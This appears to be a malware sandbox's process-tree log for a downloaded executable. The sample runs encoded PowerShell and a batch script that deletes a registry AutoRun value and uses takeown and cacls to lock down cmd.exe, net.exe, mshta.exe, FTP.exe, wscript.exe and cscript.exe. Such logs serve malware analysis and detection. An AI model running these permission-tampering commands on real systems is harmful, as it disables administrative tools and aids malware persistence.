C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=5092 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=4856 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=5272 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=4560 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=3080 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=3140 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5412 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5200 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:82⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=892 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=5368 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5284 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=26 --mojo-platform-channel-handle=5336 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /71⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc" /s1⤵
- Drops file in System32 directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\Downloads\a-Xgjsx.exe"C:\Users\Admin\Downloads\a-Xgjsx.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMwAwAA==2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Wvjrrzxdkill$-arab.bat" "2⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v "AutoRun" /f3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\cmd.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /g system:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\cmd.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /g system:r3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\net.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\net.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\net1.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\net1.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\mshta.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\mshta.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\FTP.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\FTP.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\wscript.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\wscript.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\cscript.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
